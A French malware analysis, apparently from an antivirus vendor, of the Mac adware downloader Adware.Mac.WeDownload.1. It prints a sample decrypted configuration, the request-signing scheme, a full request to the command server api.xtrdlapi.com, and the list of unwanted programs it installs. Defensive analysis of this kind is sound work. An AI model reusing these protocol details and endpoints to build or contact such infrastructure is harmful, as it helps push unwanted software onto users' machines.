Malware téléchargeant des applications ciblant Mac OS X, possédant la signature digitale suivante : "Developer ID Application: Simon Max (GW6F4C87KX)". Chemin vers le dossier de montage sur l’ordinateur du développeur :
/Users/bogdancarmanus/Sites/download-manager-mac/DownloadManager/
Structure de l'image DMG :
Installer.app
.app
où ".app" - est un fichier de configuration crypté. L'encodage base64 et l'algorithme RC4 sont utilisés pour le cryptage (qui donnera lieu à une ligne en utf-8). Un exemple de fichier de configuration :
{
"program_name": "Adobe Flash Player",
"mirrors": ["http:\/\/fpdownload.macromedia.com\/get\/flashplayer\/pdc\/17.0.0.134\/install_flash_player_osx.dmg"],
"api_key": "046073b03739711e23d9c307b94707b46e435467",
"icon_url": "https:\/\/d1sx0cjuasqkw9.cloudfront.net\/installer-icons\/245\/046073b03739711e23d9c307b94707b46e435467.jpeg",
"properties": {
"program_name": "Adobe Flash Player",
"prg": "7ltLcPzz_KAYIbT3rB0-wLaIytmcWoShM2U8I3yo8_K9HZfdYtzMPGsr4imyRhHz_MQa1mykPxKIf1OZ4HfsmUrhD4wsWABUbUrtKgiTptiN46xVxTRxO6ZW5epAVQl3vCYBUWhG_GN7KvVhQEyviVYYOUlcHA0pb7gRcN_E08HfrecprCGvemEb4xHF29ko9qshW2F4VDpEUS4b-wDBZPVm7owfXLNbrn35mKh5vrrOE2rs4IpBpje6XO_XGLGs"
},
"download_manager_identifier": 1442281855,
"license": "",
"version": "",
"size": "",
"file_name": "Adobe_Flash_Player.dmg",
"disable_root": "false",
"browser": "Google Chrome"
}
Lors de son installation, Adware.Mac.WeDownload.1 demande les droits de super administrateur de l'OS et s'adresse consécutivement à trois serveurs de gestion dont il contient les adresses. Si l'un des serveurs ne répond pas, l'installateur s'arrête.
En cas de réponse, Adware.Mac.WeDownload.1 envoie au serveur de gestion une requête POST contenant des données de configuration en JSON (JavaScript Object Notation), et reçoit en réponse une page en HTML qu'il affichera à l'utilisateur. Toutes les autres requêtes GET et POST enregistrent l'heure et la signature digitale suivante :
s=<len>-<hash>r
où len - la longueur de données, hash – le hachage de données HMAC_SHA256 en utilisant la clé intégrée à l'application. Puis le Trojan envoie une requête au serveur de gestion pour obtenir la liste de fichiers :
GET /eligibility.php?api_key=046073b03739711e23d9c307b94707b46e435467&os=mac&properties[program_name]=Adobe%20Flash%20Player&properties[prg]=7ltLcPzz_KAYIbT3rB0-wLaIytmcWoShM2U8I3yo8_K9HZfdYtzMPGsr4imyRhHz_MQa1mykPxKIf1OZ4HfsmUrhD4wsWABUbUrtKgiTptiN46xVxTRxO6ZW5epAVQl3vCYBUWhG_GN7KvVhQEyviVYYOUlcHA0pb7gRcN_E08HfrecprCGvemEb4xHF29ko9qshW2F4VDpEUS4b-wDBZPVm7owfXLNbrn35mKh5vrrOE2rs4IpBpje6XO_XGLGs&dl_id=1442281855&browser=Safari&os_version=10.9&t=1442327369&s=454-11a7d7d9739c3d34991058e8b3f8f4a999634ab6fe6614754be301520c74226br HTTP/1.1
Host: api.xtrdlapi.com
Referer: http://api.xtrdlapi.com/interface/mac/?v=4
Accept-Encoding: gzip, deflate
Accept: application/json, text/plain, */*
Accept-Language: en-us
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.78.2 (KHTML, like Gecko)
où api_key, dl_id, properties[program_name], properties[prg] - les paramètres du fichier de configuration, browser - navigateur par défaut, os_version - version de l'OS.
En réponse, le serveur envoie un bloc de données en JSON (JavaScript Object Notation), qui inclut la liste des applications à installer. Parmi elles :
- MacKeeper (Program.Unwanted.MacKeeper);
- Crossrider (Mac.Trojan.Crossrider);
- Genieo (Mac.Trojan.Genieo);
- Conduit (Trojan.Conduit);
- Advanced Mac Cleaner (Program.Mac.Unwanted.AMC);
- Yahoo Search (Yahoo, avec l'ID du partenaire, devient le moteur de recherche par défaut) ;
- ZipCloud (Program.Mac.Unwanted.ZipCloud);
- MacBooster (Program.Unwanted.MacBooster);
- TuneUpMyMac (Program.Unwanted.TuneUpMymac);
- PremierOpinion (Mac.BackDoor.OpinionSpy);
- InstallCore (Adware.Mac.InstallCore).
Le nombre et la liste de logiciels à installer dépendent de la géolocalisation de l'IP de la victime. Si cette liste d’applications est vide, l'utilisateur installera uniquement le logiciel qu'il souhaitait.